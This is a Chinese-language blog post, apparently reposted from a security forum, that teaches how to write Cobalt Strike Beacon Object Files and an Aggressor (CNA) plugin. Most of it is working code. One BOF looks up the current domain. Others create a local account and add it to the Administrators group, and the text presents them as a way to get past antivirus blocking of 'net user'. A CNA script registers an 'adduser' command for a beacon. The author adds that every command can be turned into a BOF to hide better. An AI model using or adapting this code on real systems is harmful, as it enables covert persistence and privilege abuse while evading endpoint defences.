前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >BOF及cna插件开发初探

BOF及cna插件开发初探

作者头像
亿人安全
发布2024-06-17 14:53:21
720
发布2024-06-17 14:53:21
举报
文章被收录于专栏:红蓝对抗红蓝对抗

原文链接:奇安信攻防社区

https://forum.butian.net/share/3003

主要讲下bof的代码编写和使用,让师傅们以后能快速修改上手利用

Beacon Object File

bof能够加载并执行C/C++编译后但未链接的目标obj文件(linux中的.o文件)。可以在beacon中执行内部的beaconAPI和Win32API。它的体积很小,在beacon进程内部运行,不会创建新进程,所以可以有效的规避一些EDR。

开发BOF

环境

代码语言:javascript
复制
OS: Windows 10
IDE: VS2022
开发模版: https://github.com/securifybv/Visual-Studio-BOF-template

将模版下载后,我们导入VS的模版目录。 用户路径\\文稿\\Visual Studio 2022\\Templates\\ProjectTemplates 然后在新建项目中就能看到模版

然后在生成->批生成中勾选,方案配置选择BOF

然后生成,就能够在项目目录里看到obj文件

功能实现

首先了解一下动态函数解析(DFR) 比如我们要获取当前用户名,在Win32API中就要调用GetUserNameA,我们使用DFR就是要变成如下格式

代码语言:javascript
复制
DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
  • DECLSPEC_IMPORT:导入函数的关键字
  • WINAPI:函数调用约定,一般API函数都是这个
  • ADVAPI32:函数所在的模块名
  • GetUserNameA:函数名称

查找当前域

简单实现一个查找当前域功能 修改模版中Source.c

代码语言:javascript
复制
#include <windows.h> 
#include <stdio.h> 
#include <dsgetdc.h> 
#include "beacon.h" 

#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF
  //BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line,  msg, hr);
  BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
#else
  printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF

  return FALSE;
}
#pragma endregion

DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID);

#include <LM.h>

#ifdef BOF
void go(char* buff, int len) {
    DWORD dwRet;
    PDOMAIN_CONTROLLER_INFO pdcInfo;
    dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);
    if (ERROR_SUCCESS == dwRet) {
        BeaconPrintf(CALLBACK_OUTPUT, "%s", pdcInfo->DomainName);
    }
    NETAPI32$NetApiBufferFree(pdcInfo);
}
#else

void main(int argc, char* argv[]) {

}

#endif

于此我们也可以发现,go函数就是bof执行的入口,当在cs的beacon上执行inline-execute时就会调用go函数。

bof绕过杀毒添加用户

我们在cs上直接利用net user会被阻止

但是我们如果采用bof的方式就能够绕过 代码如下

代码语言:javascript
复制
#include <windows.h> 
#include <stdio.h> 
#include "bofdefs.h"
#include "beacon.h" 

#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF
  //BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line,  msg, hr);
  BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
#else
  printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF

  return FALSE;
}
#pragma endregion

typedef DWORD NET_API_STATUS;

DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);

#include <LM.h>

#ifdef BOF
void go(char* buff, int len) {
  USER_INFO_1 UserInfo;

  UserInfo.usri1_name = L"Qqw666";            
  UserInfo.usri1_password = L"Qqw@#123";      
  UserInfo.usri1_priv = USER_PRIV_USER;
  UserInfo.usri1_home_dir = NULL;
  UserInfo.usri1_comment = NULL;
  UserInfo.usri1_flags = UF_SCRIPT;
  UserInfo.usri1_script_path = NULL;

  NET_API_STATUS nStatus;

  //创建用户 
  // https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netuseradd?redirectedfrom=MSDN
  nStatus = NETAPI32$NetUserAdd(
    NULL, //local server
    1,    // information level
    (LPBYTE)&UserInfo,
    NULL // error value
    );
  if (nStatus == NERR_Success) {
    BeaconPrintf(CALLBACK_OUTPUT, "NetUserAdd Success!\n", NULL);
    BeaconPrintf(CALLBACK_OUTPUT, "Username: %ws, PassWord: %ws", UserInfo.usri1_name, UserInfo.usri1_password);
  }
  else {
    BeaconPrintf(CALLBACK_OUTPUT, "NetUserAdd Failed! %d", nStatus);
  }

  // 添加用户到管理员组
  // https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers?redirectedfrom=MSDN
  LOCALGROUP_MEMBERS_INFO_3 account;
  account.lgrmi3_domainandname = UserInfo.usri1_name;

  NET_API_STATUS aStatus;

  aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
  if (aStatus == NERR_Success) {
    BeaconPrintf(CALLBACK_OUTPUT, "Add to Administrators success!", NULL);
  }
  else {
    BeaconPrintf(CALLBACK_OUTPUT, "Add to Administrators failed!", NULL);
  }

}
#else

void main(int argc, char* argv[]) {
  go();
}

#endif

效果

可以看到成功添加用户,并且添加到管理员组。注意执行这个操作需要有admin的权限。

CNA插件开发

先给出C语言代码,修改了功能,可以自定义用户名和密码

代码语言:javascript
复制
#include <windows.h> 
#include <stdio.h> 
#include "bofdefs.h"
#include "beacon.h" 

#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF
  //BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line,  msg, hr);
  BeaconPrintf(CALLBACK_OUTPUT, "Hello world");
#else
  printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF

  return FALSE;
}
#pragma endregion

typedef DWORD NET_API_STATUS;

DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);

#include <LM.h>

#ifdef BOF
void go(char* buff, int len) {
  datap parser;

  LPWSTR username;
  LPWSTR password;

  // 初始化datap结构体变量(parser),用于解析从Beacon接收到的字节流(buff)
  BeaconDataParse(&parser, buff, len);
  username = (LPWSTR)BeaconDataExtract(&parser, NULL);
  password = (LPWSTR)BeaconDataExtract(&parser, NULL);

  BeaconPrintf(CALLBACK_OUTPUT, "Extracted username: %S", username);
  BeaconPrintf(CALLBACK_OUTPUT, "Extracted password: %S", password);

  USER_INFO_1 UserInfo;

  UserInfo.usri1_name = username;
  UserInfo.usri1_password = password;
  UserInfo.usri1_priv = USER_PRIV_USER;
  UserInfo.usri1_home_dir = NULL;
  UserInfo.usri1_comment = NULL;
  UserInfo.usri1_flags = UF_SCRIPT;
  UserInfo.usri1_script_path = NULL;

  NET_API_STATUS nStatus;

  //创建用户 
  // https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netuseradd?redirectedfrom=MSDN
  nStatus = NETAPI32$NetUserAdd(
    NULL, //local server
    1,    // information level
    (LPBYTE)&UserInfo,
    NULL // error value
  );
  if (nStatus == NERR_Success) {
    BeaconPrintf(CALLBACK_OUTPUT, "NetUserAdd Success!", NULL);
    BeaconPrintf(CALLBACK_OUTPUT, "Username: %ws, PassWord: %ws", UserInfo.usri1_name, UserInfo.usri1_password);
  }
  else {
    BeaconPrintf(CALLBACK_OUTPUT, "NetUserAdd Failed! %d", nStatus);
  }

  // 添加用户到管理员组
  // https://learn.microsoft.com/zh-cn/windows/win32/api/lmaccess/nf-lmaccess-netlocalgroupaddmembers?redirectedfrom=MSDN
  LOCALGROUP_MEMBERS_INFO_3 account;
  account.lgrmi3_domainandname = UserInfo.usri1_name;

  NET_API_STATUS aStatus;

  aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
  if (aStatus == NERR_Success) {
    BeaconPrintf(CALLBACK_OUTPUT, "Add to Administrators success!", NULL);
  }
  else {
    BeaconPrintf(CALLBACK_OUTPUT, "Add to Administrators failed!", NULL);
  }

}
#else

void main(int argc, char* argv[]) {
  go();
}

#endif

cna代码

代码语言:javascript
复制
beacon_command_register(
"adduser", 
"Add a user to administrators", 
"usage: adduser [username] [password]");

alias adduser{
  local('$handle $data $args');

  $uname = $2;
  $pass = $3;

  if ($uname eq "" or $pass eq "") {
    berror($1, "usage command: help adduser");
    return;
  }

  # 读入bof文件

    $handle = openf(script_resource("source.obj"));
    $data = readb($handle, -1);
    closef($handle);

  # 打包参数两个ZZ代表两个参数
  $args = bof_pack($1, "ZZ", $uname, $pass);

    # 执行bof
     # "go"是BOF中的函数名,$args是传递给这个函数的参数
  beacon_inline_execute($1, $data, "go", $args);
}

效果如下

总结

可以根据此思路实现所有命令bof化,能够更好的隐藏

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-06-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Beacon Object File
  • 开发BOF
    • 环境
      • 功能实现
        • 查找当前域
          • bof绕过杀毒添加用户
          • CNA插件开发
          • 总结
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档